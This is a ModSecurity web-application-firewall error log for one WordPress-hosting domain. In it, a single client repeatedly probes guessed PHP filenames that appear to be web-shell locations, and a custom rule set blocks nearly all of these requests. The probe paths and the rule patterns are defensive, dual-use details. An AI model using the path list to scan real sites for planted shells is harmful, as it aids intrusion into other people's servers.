[Fri Apr 24 09:00:12.399583 2026] [:error] [pid 19200:tid 19223] [client 20.216.173.101:35118] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aerAnDQ--M3-tsKAnhErCwAAAM8"]
[Fri Apr 24 09:00:16.086075 2026] [:error] [pid 52129:tid 52144] [client 20.216.173.101:60125] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aerAoOKCZKf8_u2LKiAoVQAAAQs"]
[Fri Apr 24 09:00:20.376852 2026] [:error] [pid 19200:tid 19220] [client 20.216.173.101:16438] [client 20.216.173.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aerApDQ--M3-tsKAnhErOAAAAMw"]
[Fri Apr 24 09:00:23.773964 2026] [:error] [pid 52129:tid 52134] [client 20.216.173.101:42688] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "aerAp-KCZKf8_u2LKiAoxgAAAQE"]
[Fri Apr 24 09:00:49.420644 2026] [:error] [pid 19101:tid 19161] [client 20.216.173.101:33085] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aerAwWAHj9bEvrTgbO0nXQAAAFg"]
[Fri Apr 24 09:00:51.439867 2026] [:error] [pid 19200:tid 19213] [client 20.216.173.101:49068] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aerAwzQ--M3-tsKAnhErsgAAAMU"]
[Fri Apr 24 09:00:53.505637 2026] [:error] [pid 52129:tid 52145] [client 20.216.173.101:21051] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aerAxeKCZKf8_u2LKiApewAAAQw"]
[Fri Apr 24 09:00:56.713782 2026] [:error] [pid 52129:tid 52157] [client 20.216.173.101:27280] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1a.php"] [unique_id "aerAyOKCZKf8_u2LKiApjgAAARg"]
[Fri Apr 24 09:00:59.463628 2026] [:error] [pid 19102:tid 19176] [client 20.216.173.101:25378] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aerAywDSgrbLEZbkqD40bQAAAIw"]
[Fri Apr 24 09:01:00.816028 2026] [:error] [pid 19102:tid 19188] [client 20.216.173.101:64335] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rh.php"] [unique_id "aerAzADSgrbLEZbkqD40bwAAAJg"]
[Fri Apr 24 09:01:19.194147 2026] [:error] [pid 52129:tid 52151] [client 20.216.173.101:15174] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aerA3-KCZKf8_u2LKiAp8gAAARI"]
[Fri Apr 24 09:01:20.276877 2026] [:error] [pid 19102:tid 19186] [client 20.216.173.101:50264] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aerA4ADSgrbLEZbkqD40lgAAAJY"]
[Fri Apr 24 09:01:21.243675 2026] [:error] [pid 19100:tid 19123] [client 20.216.173.101:15200] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aerA4bF_hzQs4CqbifdcjQAAAA0"]
[Fri Apr 24 09:01:23.714205 2026] [:error] [pid 19100:tid 19128] [client 20.216.173.101:29154] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aerA47F_hzQs4CqbifdckwAAABI"]
[Fri Apr 24 09:01:25.309746 2026] [:error] [pid 19102:tid 19188] [client 20.216.173.101:31094] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aerA5QDSgrbLEZbkqD40ogAAAJg"]
[Fri Apr 24 09:01:26.450618 2026] [:error] [pid 52129:tid 52137] [client 20.216.173.101:27285] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aerA5uKCZKf8_u2LKiAqCgAAAQQ"]
[Fri Apr 24 09:01:27.418453 2026] [:error] [pid 19102:tid 19172] [client 20.216.173.101:61474] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aerA5wDSgrbLEZbkqD40pQAAAIg"]
[Fri Apr 24 09:01:30.061153 2026] [:error] [pid 19200:tid 19232] [client 20.216.173.101:29181] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aerA6jQ--M3-tsKAnhEsPgAAANg"]
[Fri Apr 24 09:01:35.695024 2026] [:error] [pid 19100:tid 19124] [client 20.216.173.101:29150] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jq.php"] [unique_id "aerA77F_hzQs4CqbifdcqgAAAA4"]
[Fri Apr 24 09:01:37.914326 2026] [:error] [pid 52129:tid 52138] [client 20.216.173.101:52274] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jq.php"] [unique_id "aerA8eKCZKf8_u2LKiAqIwAAAQU"]
[Fri Apr 24 09:01:39.223866 2026] [:error] [pid 52129:tid 52142] [client 20.216.173.101:61502] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jq.php"] [unique_id "aerA8-KCZKf8_u2LKiAqLgAAAQk"]
[Fri Apr 24 09:01:40.242649 2026] [:error] [pid 19200:tid 19214] [client 20.216.173.101:50245] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jq.php"] [unique_id "aerA9DQ--M3-tsKAnhEsVAAAAMY"]
[Fri Apr 24 09:01:41.788019 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:33894] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cro.php"] [unique_id "aerA9eKCZKf8_u2LKiAqQQAAARU"]
[Fri Apr 24 09:01:44.027988 2026] [:error] [pid 19101:tid 19159] [client 20.216.173.101:49699] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cro.php"] [unique_id "aerA-GAHj9bEvrTgbO0nygAAAFY"]
[Fri Apr 24 09:01:44.864254 2026] [:error] [pid 19102:tid 19164] [client 20.216.173.101:29159] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cro.php"] [unique_id "aerA-ADSgrbLEZbkqD40xQAAAIA"]
[Fri Apr 24 09:01:46.521035 2026] [:error] [pid 19200:tid 19213] [client 20.216.173.101:63861] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cro.php"] [unique_id "aerA-jQ--M3-tsKAnhEsXAAAAMU"]
[Fri Apr 24 09:01:49.193032 2026] [:error] [pid 19101:tid 19143] [client 20.216.173.101:45717] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aerA_WAHj9bEvrTgbO0n2wAAAEY"]
[Fri Apr 24 09:01:51.897783 2026] [:error] [pid 19101:tid 19145] [client 20.216.173.101:49682] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aerA_2AHj9bEvrTgbO0n5AAAAEg"]
[Fri Apr 24 09:01:53.042676 2026] [:error] [pid 19101:tid 19147] [client 20.216.173.101:49681] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aerBAWAHj9bEvrTgbO0n5wAAAEo"]
[Fri Apr 24 09:01:54.950671 2026] [:error] [pid 19200:tid 19230] [client 20.216.173.101:45730] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wwx.php"] [unique_id "aerBAjQ--M3-tsKAnhEsbQAAANY"]
[Fri Apr 24 09:01:56.141069 2026] [:error] [pid 19102:tid 19176] [client 20.216.173.101:52257] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aerBBADSgrbLEZbkqD407AAAAIw"]
[Fri Apr 24 09:01:57.186664 2026] [:error] [pid 52129:tid 52145] [client 20.216.173.101:52249] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aerBBeKCZKf8_u2LKiAqdgAAAQw"]
[Fri Apr 24 09:02:00.041962 2026] [:error] [pid 19200:tid 19208] [client 20.216.173.101:18920] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aerBCDQ--M3-tsKAnhEsggAAAMA"]
[Fri Apr 24 09:02:03.303450 2026] [:error] [pid 52129:tid 52152] [client 20.216.173.101:49678] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/trx24.php"] [unique_id "aerBC-KCZKf8_u2LKiAqjgAAARM"]
[Fri Apr 24 09:02:06.568558 2026] [:error] [pid 19200:tid 19220] [client 20.216.173.101:52227] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aerBDjQ--M3-tsKAnhEsoQAAAMw"]
[Fri Apr 24 09:02:08.959070 2026] [:error] [pid 19200:tid 19224] [client 20.216.173.101:49668] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aerBEDQ--M3-tsKAnhEsrQAAANA"]
[Fri Apr 24 09:02:10.382614 2026] [:error] [pid 19200:tid 19223] [client 20.216.173.101:16483] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aerBEjQ--M3-tsKAnhEsswAAAM8"]
[Fri Apr 24 09:02:11.890788 2026] [:error] [pid 19100:tid 19131] [client 20.216.173.101:52232] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "aerBE7F_hzQs4Cqbifdc0AAAABU"]
[Fri Apr 24 09:02:13.251222 2026] [:error] [pid 19200:tid 19220] [client 20.216.173.101:63831] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aerBFTQ--M3-tsKAnhEsvwAAAMw"]
[Fri Apr 24 09:02:15.226469 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:18885] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/berax.php"] [unique_id "aerBFzQ--M3-tsKAnhEsxwAAANU"]
[Fri Apr 24 09:02:32.031903 2026] [:error] [pid 19102:tid 19174] [client 20.216.173.101:13920] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzgf5.php"] [unique_id "aerBKADSgrbLEZbkqD41TAAAAIo"]
[Fri Apr 24 09:02:35.683696 2026] [:error] [pid 19101:tid 19147] [client 20.216.173.101:5113] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzgf5.php"] [unique_id "aerBK2AHj9bEvrTgbO0oFAAAAEo"]
[Fri Apr 24 09:02:39.026850 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:55433] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzgf5.php"] [unique_id "aerBLwDSgrbLEZbkqD41WgAAAI0"]
[Fri Apr 24 09:02:40.615061 2026] [:error] [pid 19100:tid 19128] [client 20.216.173.101:55432] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzgf5.php"] [unique_id "aerBMLF_hzQs4CqbifddHgAAABI"]
[Fri Apr 24 09:02:42.259024 2026] [:error] [pid 19200:tid 19212] [client 20.216.173.101:4368] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzw9t.php"] [unique_id "aerBMjQ--M3-tsKAnhEtHwAAAMQ"]
[Fri Apr 24 09:02:43.058205 2026] [:error] [pid 52129:tid 52150] [client 20.216.173.101:29162] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzw9t.php"] [unique_id "aerBM-KCZKf8_u2LKiArLgAAARE"]
[Fri Apr 24 09:02:48.918275 2026] [:error] [pid 19102:tid 19175] [client 20.216.173.101:58475] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzw9t.php"] [unique_id "aerBOADSgrbLEZbkqD41ZwAAAIs"]
[Fri Apr 24 09:02:49.627083 2026] [:error] [pid 19200:tid 19212] [client 20.216.173.101:23004] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/saxzw9t.php"] [unique_id "aerBOTQ--M3-tsKAnhEtQwAAAMQ"]
[Fri Apr 24 09:02:50.216538 2026] [:error] [pid 52129:tid 52150] [client 20.216.173.101:24084] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "aerBOuKCZKf8_u2LKiArUgAAARE"]
[Fri Apr 24 09:02:51.006077 2026] [:error] [pid 19102:tid 19181] [client 20.216.173.101:22994] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "aerBOwDSgrbLEZbkqD41bQAAAJE"]
[Fri Apr 24 09:02:52.585758 2026] [:error] [pid 52129:tid 52149] [client 20.216.173.101:53006] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "aerBPOKCZKf8_u2LKiArXwAAARA"]
[Fri Apr 24 09:02:54.940567 2026] [:error] [pid 19200:tid 19231] [client 20.216.173.101:53007] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sder5252u.php"] [unique_id "aerBPjQ--M3-tsKAnhEtVwAAANc"]
[Fri Apr 24 09:02:57.337313 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:24771] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sderty5u.php"] [unique_id "aerBQeKCZKf8_u2LKiArdwAAARU"]
[Fri Apr 24 09:02:59.700079 2026] [:error] [pid 19200:tid 19226] [client 20.216.173.101:41530] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sderty5u.php"] [unique_id "aerBQzQ--M3-tsKAnhEtawAAANI"]
[Fri Apr 24 09:03:00.400362 2026] [:error] [pid 52129:tid 52139] [client 20.216.173.101:56414] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sderty5u.php"] [unique_id "aerBROKCZKf8_u2LKiArgAAAAQY"]
[Fri Apr 24 09:03:01.327060 2026] [:error] [pid 19101:tid 19158] [client 20.216.173.101:47465] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sderty5u.php"] [unique_id "aerBRWAHj9bEvrTgbO0oSQAAAFU"]
